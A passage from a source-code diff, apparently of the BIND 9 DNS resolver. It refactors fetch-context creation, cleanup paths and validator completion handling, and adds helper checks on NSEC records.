+	fprintf(stderr, "fetchctx__init:%s:%s:%d:%p:%p->references = 1\n",
+		__func__, __FILE__, __LINE__, fctx, fctx);
+#endif
+	isc_refcount_init(&fctx->references, 1);
+
 	ISC_LIST_INIT(fctx->queries);
 	ISC_LIST_INIT(fctx->finds);
 	ISC_LIST_INIT(fctx->altfinds);
 	ISC_LIST_INIT(fctx->forwaddrs);
 	ISC_LIST_INIT(fctx->altaddrs);
 	ISC_LIST_INIT(fctx->forwarders);
-	fctx->fwdpolicy = dns_fwdpolicy_none;
 	ISC_LIST_INIT(fctx->bad);
 	ISC_LIST_INIT(fctx->edns);
 	ISC_LIST_INIT(fctx->bad_edns);
 	ISC_LIST_INIT(fctx->validators);
-	fctx->validator = NULL;
-	fctx->find = NULL;
-	fctx->altfind = NULL;
-	fctx->pending = 0;
-	fctx->restarts = 0;
-	fctx->querysent = 0;
-	fctx->referrals = 0;
-	TIME_NOW(&fctx->start);
-	fctx->timeouts = 0;
-	fctx->lamecount = 0;
-	fctx->quotacount = 0;
-	fctx->adberr = 0;
-	fctx->neterr = 0;
-	fctx->badresp = 0;
-	fctx->findfail = 0;
-	fctx->valfail = 0;
-	fctx->result = ISC_R_FAILURE;
-	fctx->vresult = ISC_R_SUCCESS;
-	fctx->exitline = -1; /* sentinel */
-	fctx->logged = false;
+
 	atomic_init(&fctx->attributes, 0);
-	fctx->spilled = false;
-	fctx->nqueries = 0;
-	fctx->rand_buf = 0;
-	fctx->rand_bits = 0;
-	fctx->timeout = false;
-	fctx->addrinfo = NULL;
+
+	fctx->name = dns_fixedname_initname(&fctx->fname);
+	fctx->nsname = dns_fixedname_initname(&fctx->nsfname);
+	fctx->domain = dns_fixedname_initname(&fctx->dfname);
+	fctx->qminname = dns_fixedname_initname(&fctx->qminfname);
+	fctx->qmindcname = dns_fixedname_initname(&fctx->qmindcfname);
+	fctx->fwdname = dns_fixedname_initname(&fctx->fwdfname);
+
+	dns_name_copy(name, fctx->name);
+	dns_name_copy(name, fctx->qminname);
+
+	dns_rdataset_init(&fctx->nameservers);
+	dns_rdataset_init(&fctx->qminrrset);
+	dns_rdataset_init(&fctx->nsrrset);
+
+	fctx->start = isc_time_now();
+	fctx->now = (isc_stdtime_t)fctx->start.seconds;
+
 	if (client != NULL) {
 		isc_sockaddr_format(client, fctx->clientstr,
 				    sizeof(fctx->clientstr));
 	} else {
 		strlcpy(fctx->clientstr, "<unknown>", sizeof(fctx->clientstr));
 	}
-	fctx->ns_ttl = 0;
-	fctx->ns_ttl_ok = false;
-
-	dns_name_init(&fctx->nsname, NULL);
-	fctx->nsfetch = NULL;
-	dns_rdataset_init(&fctx->nsrrset);
 
 	if (domain == NULL) {
 		dns_forwarders_t *forwarders = NULL;
-		dns_fixedname_t fixed;
 		unsigned int labels;
 		const dns_name_t *fwdname = name;
 		dns_name_t suffix;
-		dns_name_t *fname;
 
 		/*
 		 * DS records are found in the parent server. Strip one
@@ -5116,7 +4577,8 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 		 * the forwarder).
 		 */
 		if (dns_rdatatype_atparent(fctx->type) &&
-		    dns_name_countlabels(name) > 1) {
+		    dns_name_countlabels(name) > 1)
+		{
 			dns_name_init(&suffix, NULL);
 			labels = dns_name_countlabels(name);
 			dns_name_getlabelsequence(name, 1, labels - 1, &suffix);
@@ -5124,51 +4586,53 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 		}
 
 		/* Find the forwarder for this name. */
-		fname = dns_fixedname_initname(&fixed);
 		result = dns_fwdtable_find(fctx->res->view->fwdtable, fwdname,
-					   fname, &forwarders);
-		if (result == ISC_R_SUCCESS) {
+					   &forwarders);
+		if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
 			fctx->fwdpolicy = forwarders->fwdpolicy;
+			dns_name_copy(forwarders->name, fctx->fwdname);
+			dns_forwarders_detach(&forwarders);
 		}
 
-		if (fctx->fwdpolicy != dns_fwdpolicy_only) {
+		if (fctx->fwdpolicy == dns_fwdpolicy_only) {
+			/*
+			 * We're in forward-only mode.  Set the query
+			 * domain.
+			 */
+			dns_name_copy(fctx->fwdname, fctx->domain);
+			dns_name_copy(fctx->fwdname, fctx->qmindcname);
+			/*
+			 * Disable query minimization
+			 */
+			options &= ~DNS_FETCHOPT_QMINIMIZE;
+		} else {
 			dns_fixedname_t dcfixed;
-			dns_name_t *dcname;
-			dcname = dns_fixedname_initname(&dcfixed);
+			dns_name_t *dcname = dns_fixedname_initname(&dcfixed);
+
 			/*
 			 * The caller didn't supply a query domain and
-			 * nameservers, and we're not in forward-only mode,
-			 * so find the best nameservers to use.
+			 * nameservers, and we're not in forward-only
+			 * mode, so find the best nameservers to use.
 			 */
 			if (dns_rdatatype_atparent(fctx->type)) {
 				findoptions |= DNS_DBFIND_NOEXACT;
 			}
-			result = dns_view_findzonecut(res->view, name, fname,
-						      dcname, fctx->now,
-						      findoptions, true, true,
-						      &fctx->nameservers, NULL);
+			result = dns_view_findzonecut(
+				res->view, name, fctx->fwdname, dcname,
+				fctx->now, findoptions, true, true,
+				&fctx->nameservers, NULL);
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup_nameservers;
 			}
 
-			dns_name_dup(fname, mctx, &fctx->domain);
-			dns_name_dup(dcname, mctx, &fctx->qmindcname);
+			dns_name_copy(fctx->fwdname, fctx->domain);
+			dns_name_copy(dcname, fctx->qmindcname);
 			fctx->ns_ttl = fctx->nameservers.ttl;
 			fctx->ns_ttl_ok = true;
-		} else {
-			/*
-			 * We're in forward-only mode.  Set the query domain.
-			 */
-			dns_name_dup(fname, mctx, &fctx->domain);
-			dns_name_dup(fname, mctx, &fctx->qmindcname);
-			/*
-			 * Disable query minimization
-			 */
-			options &= ~DNS_FETCHOPT_QMINIMIZE;
 		}
 	} else {
-		dns_name_dup(domain, mctx, &fctx->domain);
-		dns_name_dup(domain, mctx, &fctx->qmindcname);
+		dns_name_copy(domain, fctx->domain);
+		dns_name_copy(domain, fctx->qmindcname);
 		dns_rdataset_clone(nameservers, &fctx->nameservers);
 		fctx->ns_ttl = fctx->nameservers.ttl;
 		fctx->ns_ttl_ok = true;
@@ -5181,22 +4645,21 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 	if (result != ISC_R_SUCCESS) {
 		result = fctx->res->quotaresp[dns_quotatype_zone];
 		inc_stats(res, dns_resstatscounter_zonequota);
-		goto cleanup_domain;
+		goto cleanup_nameservers;
 	}
 
 	log_ns_ttl(fctx, "fctx_create");
 
-	if (!dns_name_issubdomain(&fctx->name, &fctx->domain)) {
-		dns_name_format(&fctx->domain, buf, sizeof(buf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "'%s' is not subdomain of '%s'", fctx->info,
+	if (!dns_name_issubdomain(fctx->name, fctx->domain)) {
+		dns_name_format(fctx->domain, buf, sizeof(buf));
+		UNEXPECTED_ERROR("'%s' is not subdomain of '%s'", fctx->info,
 				 buf);
 		result = ISC_R_UNEXPECTED;
 		goto cleanup_fcount;
 	}
 
-	fctx->qmessage = NULL;
-	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &fctx->qmessage);
+	dns_message_create(fctx->mctx, DNS_MESSAGE_INTENTRENDER,
+			   &fctx->qmessage);
 
 	/*
 	 * Compute an expiration time for the entire fetch.
@@ -5205,90 +4668,47 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 			 res->query_timeout % 1000 * 1000000);
 	iresult = isc_time_nowplusinterval(&fctx->expires, &interval);
 	if (iresult != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_time_nowplusinterval: %s",
+		UNEXPECTED_ERROR("isc_time_nowplusinterval: %s",
 				 isc_result_totext(iresult));
 		result = ISC_R_UNEXPECTED;
 		goto cleanup_qmessage;
 	}
 
-	try_stale = ((options & DNS_FETCHOPT_TRYSTALE_ONTIMEOUT) != 0);
-	if (try_stale) {
+	/*
+	 * Default retry interval initialization.  We set the interval
+	 * now mostly so it won't be uninitialized.  It will be set to
+	 * the correct value before a query is issued.
+	 */
+	isc_interval_set(&fctx->interval, 2, 0);
+
+	/*
+	 * If stale answers are enabled, compute an expiration time
+	 * after which stale data will be served, if the target RRset is
+	 * available in cache.
+	 */
+	if ((options & DNS_FETCHOPT_TRYSTALE_ONTIMEOUT) != 0) {
 		INSIST(res->view->staleanswerclienttimeout <=
 		       (res->query_timeout - 1000));
-		/*
-		 * Compute an expiration time after which stale data will
-		 * attempted to be served, if stale answers are enabled and
-		 * target RRset is available in cache.
-		 */
 		isc_interval_set(
 			&interval, res->view->staleanswerclienttimeout / 1000,
 			res->view->staleanswerclienttimeout % 1000 * 1000000);
 		iresult = isc_time_nowplusinterval(&fctx->expires_try_stale,
 						   &interval);
 		if (iresult != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_time_nowplusinterval: %s",
-					 isc_result_totext(iresult));
-			result = ISC_R_UNEXPECTED;
-			goto cleanup_qmessage;
-		}
-	}
-
-	/*
-	 * Default retry interval initialization.  We set the interval now
-	 * mostly so it won't be uninitialized.  It will be set to the
-	 * correct value before a query is issued.
-	 */
-	isc_interval_set(&fctx->interval, 2, 0);
-
-	/*
-	 * Create an inactive timer for resolver-query-timeout. It
-	 * will be made active when the fetch is actually started.
-	 */
-	fctx->timer = NULL;
-
-	iresult = isc_timer_create(res->timermgr, isc_timertype_inactive, NULL,
-				   NULL, res->buckets[bucketnum].task,
-				   fctx_timeout, fctx, &fctx->timer);
-	if (iresult != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "isc_timer_create: %s",
-				 isc_result_totext(iresult));
-		result = ISC_R_UNEXPECTED;
-		goto cleanup_qmessage;
-	}
-
-	/*
-	 * If stale answers are enabled, then create an inactive timer
-	 * for stale-answer-client-timeout. It will be made active when
-	 * the fetch is actually started.
-	 */
-	fctx->timer_try_stale = NULL;
-	if (try_stale) {
-		iresult = isc_timer_create(
-			res->timermgr, isc_timertype_inactive, NULL, NULL,
-			res->buckets[bucketnum].task, fctx_timeout_try_stale,
-			fctx, &fctx->timer_try_stale);
-		if (iresult != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_timer_create: %s",
+			UNEXPECTED_ERROR("isc_time_nowplusinterval: %s",
 					 isc_result_totext(iresult));
 			result = ISC_R_UNEXPECTED;
-			goto cleanup_qmessage;
+			goto cleanup_timer;
 		}
 	}
 
 	/*
 	 * Attach to the view's cache and adb.
 	 */
-	fctx->cache = NULL;
 	dns_db_attach(res->view->cachedb, &fctx->cache);
-	fctx->adb = NULL;
-	dns_adb_attach(res->view->adb, &fctx->adb);
-	fctx->mctx = NULL;
-	isc_mem_attach(mctx, &fctx->mctx);
+	dns_view_getadb(res->view, &fctx->adb);
 
-	ISC_LIST_INIT(fctx->events);
+	ISC_LIST_INIT(fctx->resps);
 	ISC_LINK_INIT(fctx, link);
 	fctx->magic = FCTX_MAGIC;
 
@@ -5297,32 +4717,25 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 	 * the name in fctx to proper length.
 	 */
 	if ((options & DNS_FETCHOPT_QMINIMIZE) != 0) {
-		fctx->ip6arpaskip =
-			(options & DNS_FETCHOPT_QMIN_SKIP_IP6A) != 0 &&
-			dns_name_issubdomain(&fctx->name, &ip6_arpa);
-		result = fctx_minimize_qname(fctx);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_mctx;
-		}
+		fctx->ip6arpaskip = (options & DNS_FETCHOPT_QMIN_SKIP_IP6A) !=
+					    0 &&
+				    dns_name_issubdomain(fctx->name, &ip6_arpa);
+		fctx_minimize_qname(fctx);
 	}
 
-	ISC_LIST_APPEND(res->buckets[bucketnum].fctxs, fctx, link);
-
-	INSIST(atomic_fetch_add_relaxed(&res->nfctx, 1) < UINT32_MAX);
+	nfctx = atomic_fetch_add_relaxed(&res->nfctx, 1);
+	INSIST(nfctx < UINT32_MAX);
 
 	inc_stats(res, dns_resstatscounter_nfetch);
 
+	isc_timer_create(fctx->loop, fctx_expired, fctx, &fctx->timer);
+
 	*fctxp = fctx;
 
 	return (ISC_R_SUCCESS);
 
-cleanup_mctx:
-	fctx->magic = 0;
-	isc_mem_detach(&fctx->mctx);
-	dns_adb_detach(&fctx->adb);
-	dns_db_detach(&fctx->cache);
-	isc_timer_detach(&fctx->timer);
-	isc_timer_detach(&fctx->timer_try_stale);
+cleanup_timer:
+	isc_timer_destroy(&fctx->timer);
 
 cleanup_qmessage:
 	dns_message_detach(&fctx->qmessage);
@@ -5330,25 +4743,16 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 cleanup_fcount:
 	fcount_decr(fctx);
 
-cleanup_domain:
-	if (dns_name_countlabels(&fctx->domain) > 0) {
-		dns_name_free(&fctx->domain, mctx);
-	}
-	if (dns_name_countlabels(&fctx->qmindcname) > 0) {
-		dns_name_free(&fctx->qmindcname, mctx);
-	}
-
 cleanup_nameservers:
 	if (dns_rdataset_isassociated(&fctx->nameservers)) {
 		dns_rdataset_disassociate(&fctx->nameservers);
 	}
-	dns_name_free(&fctx->name, mctx);
-	dns_name_free(&fctx->qminname, mctx);
-	isc_mem_free(mctx, fctx->info);
+	isc_mem_free(fctx->mctx, fctx->info);
 	isc_counter_detach(&fctx->qc);
 
 cleanup_fetch:
-	isc_mem_put(mctx, fctx, sizeof(*fctx));
+	dns_resolver_detach(&fctx->res);
+	isc_mem_putanddetach(&fctx->mctx, fctx, sizeof(*fctx));
 
 	return (result);
 }
@@ -5356,7 +4760,7 @@ fctx_create(dns_resolver_t *res, const dns_name_t *name, dns_rdatatype_t type,
 /*
  * Handle Responses
  */
-static inline bool
+static bool
 is_lame(fetchctx_t *fctx, dns_message_t *message) {
 	dns_name_t *name;
 	dns_rdataset_t *rdataset;
@@ -5390,7 +4794,7 @@ is_lame(fetchctx_t *fctx, dns_message_t *message) {
 			if (rdataset->type != dns_rdatatype_ns) {
 				continue;
 			}
-			namereln = dns_name_fullcompare(name, &fctx->domain,
+			namereln = dns_name_fullcompare(name, fctx->domain,
 							&order, &labels);
 			if (namereln == dns_namereln_equal &&
 			    (message->flags & DNS_MESSAGEFLAG_AA) != 0)
@@ -5408,14 +4812,14 @@ is_lame(fetchctx_t *fctx, dns_message_t *message) {
 	return (false);
 }
 
-static inline void
+static void
 log_lame(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char domainbuf[DNS_NAME_FORMATSIZE];
 	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 
-	dns_name_format(&fctx->name, namebuf, sizeof(namebuf));
-	dns_name_format(&fctx->domain, domainbuf, sizeof(domainbuf));
+	dns_name_format(fctx->name, namebuf, sizeof(namebuf));
+	dns_name_format(fctx->domain, domainbuf, sizeof(domainbuf));
 	isc_sockaddr_format(&addrinfo->sockaddr, addrbuf, sizeof(addrbuf));
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_LAME_SERVERS,
 		      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
@@ -5423,7 +4827,7 @@ log_lame(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo) {
 		      domainbuf, addrbuf);
 }
 
-static inline void
+static void
 log_formerr(fetchctx_t *fctx, const char *format, ...) {
 	char nsbuf[ISC_SOCKADDR_FORMATSIZE];
 	char msgbuf[2048];
@@ -5444,8 +4848,8 @@ log_formerr(fetchctx_t *fctx, const char *format, ...) {
 static isc_result_t
 same_question(fetchctx_t *fctx, dns_message_t *message) {
 	isc_result_t result;
-	dns_name_t *name;
-	dns_rdataset_t *rdataset;
+	dns_name_t *name = NULL;
+	dns_rdataset_t *rdataset = NULL;
 
 	/*
 	 * Caller must be holding the fctx lock.
@@ -5454,7 +4858,7 @@ same_question(fetchctx_t *fctx, dns_message_t *message) {
 	/*
 	 * XXXRTH  Currently we support only one question.
 	 */
-	if (ISC_UNLIKELY(message->counts[DNS_SECTION_QUESTION] == 0)) {
+	if (message->counts[DNS_SECTION_QUESTION] == 0) {
 		if ((message->flags & DNS_MESSAGEFLAG_TC) != 0) {
 			/*
 			 * If TC=1 and the question section is empty, we
@@ -5478,7 +4882,7 @@ same_question(fetchctx_t *fctx, dns_message_t *message) {
 			log_formerr(fctx, "empty question section");
 			return (DNS_R_FORMERR);
 		}
-	} else if (ISC_UNLIKELY(message->counts[DNS_SECTION_QUESTION] > 1)) {
+	} else if (message->counts[DNS_SECTION_QUESTION] > 1) {
 		log_formerr(fctx, "too many questions");
 		return (DNS_R_FORMERR);
 	}
@@ -5487,7 +4891,7 @@ same_question(fetchctx_t *fctx, dns_message_t *message) {
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	name = NULL;
+
 	dns_message_currentname(message, DNS_SECTION_QUESTION, &name);
 	rdataset = ISC_LIST_HEAD(name->list);
 	INSIST(rdataset != NULL);
@@ -5495,7 +4899,7 @@ same_question(fetchctx_t *fctx, dns_message_t *message) {
 
 	if (fctx->type != rdataset->type ||
 	    fctx->res->rdclass != rdataset->rdclass ||
-	    !dns_name_equal(&fctx->name, name))
+	    !dns_name_equal(fctx->name, name))
 	{
 		char namebuf[DNS_NAME_FORMATSIZE];
 		char classbuf[DNS_RDATACLASS_FORMATSIZE];
@@ -5515,62 +4919,65 @@ same_question(fetchctx_t *fctx, dns_message_t *message) {
 
 static void
 clone_results(fetchctx_t *fctx) {
-	dns_fetchevent_t *event, *hevent;
-	dns_name_t *name, *hname;
+	dns_fetchresponse_t *resp = NULL, *hresp = NULL;
 
 	FCTXTRACE("clone_results");
 
 	/*
-	 * Set up any other events to have the same data as the first
-	 * event.
+	 * Set up any other resps to have the same data as the first.
 	 *
 	 * Caller must be holding the appropriate lock.
 	 */
 
 	fctx->cloned = true;
-	hevent = ISC_LIST_HEAD(fctx->events);
-	if (hevent == NULL) {
-		return;
-	}
-	hname = dns_fixedname_name(&hevent->foundname);
-	for (event = ISC_LIST_NEXT(hevent, ev_link); event != NULL;
-	     event = ISC_LIST_NEXT(event, ev_link))
+
+	for (resp = ISC_LIST_HEAD(fctx->resps); resp != NULL;
+	     resp = ISC_LIST_NEXT(resp, link))
 	{
-		if (event->ev_type == DNS_EVENT_TRYSTALE) {
+		/* This is the head resp; keep a pointer and move on */
+		if (hresp == NULL) {
+			hresp = ISC_LIST_HEAD(fctx->resps);
+			continue;
+		}
+
+		if (resp->type == TRYSTALE) {
 			/*
 			 * We don't need to clone resulting data to this
-			 * type of event, as its associated callback is only
-			 * called when stale-answer-client-timeout triggers,
-			 * and the logic in there doesn't expect any result
-			 * as input, as it will itself lookup for stale data
-			 * in cache to use as result, if any is available.
+			 * type of event, as its associated callback is
+			 * only called when stale-answer-client-timeout
+			 * triggers, and the logic in there doesn't
+			 * expect any result as input, as it will itself
+			 * lookup for stale data in cache to use as
+			 * result, if any is available.
 			 *
-			 * Also, if we reached this point, then the whole fetch
-			 * context is done, it will cancel timers, process
-			 * associated callbacks of type DNS_EVENT_FETCHDONE, and
-			 * silently remove/free events of type
-			 * DNS_EVENT_TRYSTALE.
+			 * Also, if we reached this point, then the
+			 * whole fetch context is done, it will cancel
+			 * timers, process associated callbacks of type
+			 * FETCHDONE, and silently remove/free events of
+			 * type TRYSTALE.
 			 */
 			continue;
 		}
-		name = dns_fixedname_name(&event->foundname);
-		dns_name_copy(hname, name);
-		event->result = hevent->result;
-		dns_db_attach(hevent->db, &event->db);
-		dns_db_attachnode(hevent->db, hevent->node, &event->node);
-		INSIST(hevent->rdataset != NULL);
-		INSIST(event->rdataset != NULL);
-		if (dns_rdataset_isassociated(hevent->rdataset)) {
-			dns_rdataset_clone(hevent->rdataset, event->rdataset);
-		}
-		INSIST(!(hevent->sigrdataset == NULL &&
-			 event->sigrdataset != NULL));
-		if (hevent->sigrdataset != NULL &&
-		    dns_rdataset_isassociated(hevent->sigrdataset) &&
-		    event->sigrdataset != NULL)
+
+		resp->result = hresp->result;
+		dns_name_copy(hresp->foundname, resp->foundname);
+		dns_db_attach(hresp->db, &resp->db);
+		dns_db_attachnode(hresp->db, hresp->node, &resp->node);
+
+		INSIST(hresp->rdataset != NULL);
+		INSIST(resp->rdataset != NULL);
+		if (dns_rdataset_isassociated(hresp->rdataset)) {
+			dns_rdataset_clone(hresp->rdataset, resp->rdataset);
+		}
+
+		INSIST(!(hresp->sigrdataset == NULL &&
+			 resp->sigrdataset != NULL));
+		if (hresp->sigrdataset != NULL &&
+		    dns_rdataset_isassociated(hresp->sigrdataset) &&
+		    resp->sigrdataset != NULL)
 		{
-			dns_rdataset_clone(hevent->sigrdataset,
-					   event->sigrdataset);
+			dns_rdataset_clone(hresp->sigrdataset,
+					   resp->sigrdataset);
 		}
 	}
 }
@@ -5584,75 +4991,143 @@ clone_results(fetchctx_t *fctx) {
 #define CHECKNAMES(r) (((r)->attributes & DNS_RDATASETATTR_CHECKNAMES) != 0)
 
 /*
- * Destroy '*fctx' if it is ready to be destroyed (i.e., if it has
- * no references and is no longer waiting for any events).
+ * Cancel validators associated with '*fctx' if it is ready to be
+ * destroyed (i.e., no queries waiting for it and no pending ADB finds).
+ * Caller must hold fctx bucket lock.
  *
  * Requires:
  *      '*fctx' is shutting down.
- *
- * Returns:
- *	true if the resolver is exiting and this is the last fctx in the bucket.
  */
-static bool
-maybe_destroy(fetchctx_t *fctx, bool locked) {
-	unsigned int bucketnum;
-	bool bucket_empty = false;
-	dns_resolver_t *res = fctx->res;
-	dns_validator_t *validator, *next_validator;
-	bool dodestroy = false;
-
-	bucketnum = fctx->bucketnum;
-	if (!locked) {
-		LOCK(&res->buckets[bucketnum].lock);
+static void
+maybe_cancel_validators(fetchctx_t *fctx) {
+	if (atomic_load_acquire(&fctx->pending) != 0 ||
+	    atomic_load_acquire(&fctx->nqueries) != 0)
+	{
+		return;
 	}
 
 	REQUIRE(SHUTTINGDOWN(fctx));
-
-	if (fctx->pending != 0 || fctx->nqueries != 0) {
-		goto unlock;
-	}
-
-	for (validator = ISC_LIST_HEAD(fctx->validators); validator != NULL;
-	     validator = next_validator)
+	for (dns_validator_t *validator = ISC_LIST_HEAD(fctx->validators);
+	     validator != NULL; validator = ISC_LIST_NEXT(validator, link))
 	{
-		next_validator = ISC_LIST_NEXT(validator, link);
 		dns_validator_cancel(validator);
 	}
+}
 
-	if (isc_refcount_current(&fctx->references) == 0 &&
-	    ISC_LIST_EMPTY(fctx->validators))
-	{
-		bucket_empty = fctx_unlink(fctx);
-		dodestroy = true;
-	}
-unlock:
-	if (!locked) {
-		UNLOCK(&res->buckets[bucketnum].lock);
+/*
+ * typemap with just RRSIG(46) and NSEC(47) bits set.
+ *
+ * Bitmap calculation from dns_nsec_setbit:
+ *
+ *					46	47
+ *	shift = 7 - (type % 8);		0	1
+ *	mask = 1 << shift;		0x02	0x01
+ *	array[type / 8] |= mask;
+ *
+ * Window (0), bitmap length (6), and bitmap.
+ */
+static const unsigned char minimal_typemap[] = { 0, 6, 0, 0, 0, 0, 0, 0x03 };
+
+static bool
+is_minimal_nsec(dns_rdataset_t *nsecset) {
+	dns_rdataset_t rdataset;
+	isc_result_t result;
+
+	dns_rdataset_init(&rdataset);
+	dns_rdataset_clone(nsecset, &rdataset);
+
+	for (result = dns_rdataset_first(&rdataset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(&rdataset))
+	{
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_rdata_nsec_t nsec;
+		dns_rdataset_current(&rdataset, &rdata);
+		result = dns_rdata_tostruct(&rdata, &nsec, NULL);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		if (nsec.len == sizeof(minimal_typemap) &&
+		    memcmp(nsec.typebits, minimal_typemap, nsec.len) == 0)
+		{
+			dns_rdataset_disassociate(&rdataset);
+			return (true);
+		}
+	}
+	dns_rdataset_disassociate(&rdataset);
+	return (false);
+}
+
+/*
+ * If there is a SOA record in the type map then there must be a DNSKEY.
+ */
+static bool
+check_soa_and_dnskey(dns_rdataset_t *nsecset) {
+	dns_rdataset_t rdataset;
+	isc_result_t result;
+
+	dns_rdataset_init(&rdataset);
+	dns_rdataset_clone(nsecset, &rdataset);
+
+	for (result = dns_rdataset_first(&rdataset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(&rdataset))
+	{
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_rdataset_current(&rdataset, &rdata);
+		if (dns_nsec_typepresent(&rdata, dns_rdatatype_soa) &&
+		    (!dns_nsec_typepresent(&rdata, dns_rdatatype_dnskey) ||
+		     !dns_nsec_typepresent(&rdata, dns_rdatatype_ns)))
+		{
+			dns_rdataset_disassociate(&rdataset);
+			return (false);
+		}
 	}
-	if (dodestroy) {
-		fctx_destroy(fctx);
+	dns_rdataset_disassociate(&rdataset);
+	return (true);
+}
+
+/*
+ * Look for NSEC next name that starts with the label '\000'.
+ */
+static bool
+has_000_label(dns_rdataset_t *nsecset) {
+	dns_rdataset_t rdataset;
+	isc_result_t result;
+
+	dns_rdataset_init(&rdataset);
+	dns_rdataset_clone(nsecset, &rdataset);
+
+	for (result = dns_rdataset_first(&rdataset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(&rdataset))
+	{
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_rdataset_current(&rdataset, &rdata);
+		if (rdata.length > 1 && rdata.data[0] == 1 &&
+		    rdata.data[1] == 0)
+		{
+			dns_rdataset_disassociate(&rdataset);
+			return (true);
+		}
 	}
-	return (bucket_empty);
+	dns_rdataset_disassociate(&rdataset);
+	return (false);
 }
 
 /*
  * The validator has finished.
  */
 static void
-validated(isc_task_t *task, isc_event_t *event) {
-	dns_adbaddrinfo_t *addrinfo;
+validated(void *arg) {
+	dns_validator_t *val = (dns_validator_t *)arg;
+	dns_adbaddrinfo_t *addrinfo = NULL;
 	dns_dbnode_t *node = NULL;
 	dns_dbnode_t *nsnode = NULL;
-	dns_fetchevent_t *hevent;
-	dns_name_t *name;
+	dns_fetchresponse_t *hresp = NULL;
+	dns_name_t *name = NULL;
 	dns_rdataset_t *ardataset = NULL;
 	dns_rdataset_t *asigrdataset = NULL;
-	dns_rdataset_t *rdataset;
-	dns_rdataset_t *sigrdataset;
-	dns_resolver_t *res;
-	dns_valarg_t *valarg;
-	dns_validatorevent_t *vevent;
-	fetchctx_t *fctx;
+	dns_rdataset_t *rdataset = NULL;
+	dns_rdataset_t *sigrdataset = NULL;
+	dns_resolver_t *res = NULL;
+	dns_valarg_t *valarg = NULL;
+	fetchctx_t *fctx = NULL;
 	bool chaining;
 	bool negative;
 	bool sentresponse;
@@ -5660,82 +5135,74 @@ validated(isc_task_t *task, isc_event_t *event) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_stdtime_t now;
 	uint32_t ttl;
-	unsigned options;
-	uint32_t bucketnum;
+	unsigned int options;
 	dns_fixedname_t fwild;
 	dns_name_t *wild = NULL;
 	dns_message_t *message = NULL;
+	bool done = false;
 
-	UNUSED(task); /* for now */
+	valarg = val->arg;
 
-	REQUIRE(event->ev_type == DNS_EVENT_VALIDATORDONE);
-	valarg = event->ev_arg;
-	fctx = valarg->fctx;
-	dns_message_attach(valarg->message, &message);
+	REQUIRE(VALID_FCTX(valarg->fctx));
+	REQUIRE(!ISC_LIST_EMPTY(valarg->fctx->validators));
 
-	REQUIRE(VALID_FCTX(fctx));
-	res = fctx->res;
-	addrinfo = valarg->addrinfo;
-	REQUIRE(!ISC_LIST_EMPTY(fctx->validators));
+	fctx = valarg->fctx;
+	valarg->fctx = NULL;
 
-	vevent = (dns_validatorevent_t *)event;
-	fctx->vresult = vevent->result;
+	REQUIRE(fctx->tid == isc_tid());
 
 	FCTXTRACE("received validation completion event");
 
-	bucketnum = fctx->bucketnum;
-	LOCK(&res->buckets[bucketnum].lock);
+	res = fctx->res;
+	addrinfo = valarg->addrinfo;
+
+	message = val->message;
+	fctx->vresult = val->result;
 
-	ISC_LIST_UNLINK(fctx->validators, vevent->validator, link);
+	LOCK(&fctx->lock);
+	ISC_LIST_UNLINK(fctx->validators, val, link);
 	fctx->validator = NULL;
-	UNLOCK(&res->buckets[bucketnum].lock);
+	UNLOCK(&fctx->lock);
 
 	/*
 	 * Destroy the validator early so that we can
 	 * destroy the fctx if necessary.  Save the wildcard name.
 	 */
-	if (vevent->proofs[DNS_VALIDATOR_NOQNAMEPROOF] != NULL) {
+	if (val->proofs[DNS_VALIDATOR_NOQNAMEPROOF] != NULL) {
 		wild = dns_fixedname_initname(&fwild);
-		dns_name_copy(dns_fixedname_name(&vevent->validator->wild),
-			      wild);
+		dns_name_copy(dns_fixedname_name(&val->wild), wild);
 	}
-	dns_validator_destroy(&vevent->validator);
-	dns_message_detach(&valarg->message);
+
 	isc_mem_put(fctx->mctx, valarg, sizeof(*valarg));
 
-	negative = (vevent->rdataset == NULL);
+	negative = (val->rdataset == NULL);
 
-	LOCK(&res->buckets[bucketnum].lock);
+	LOCK(&fctx->lock);
 	sentresponse = ((fctx->options & DNS_FETCHOPT_NOVALIDATE) != 0);
 
 	/*
 	 * If shutting down, ignore the results.  Check to see if we're
-	 * done waiting for validator completions and ADB pending events; if
-	 * so, destroy the fctx.
+	 * done waiting for validator completions and ADB pending
+	 * events; if so, destroy the fctx.
 	 */
 	if (SHUTTINGDOWN(fctx) && !sentresponse) {
-		bool bucket_empty;
-		bucket_empty = maybe_destroy(fctx, true);
-		UNLOCK(&res->buckets[bucketnum].lock);
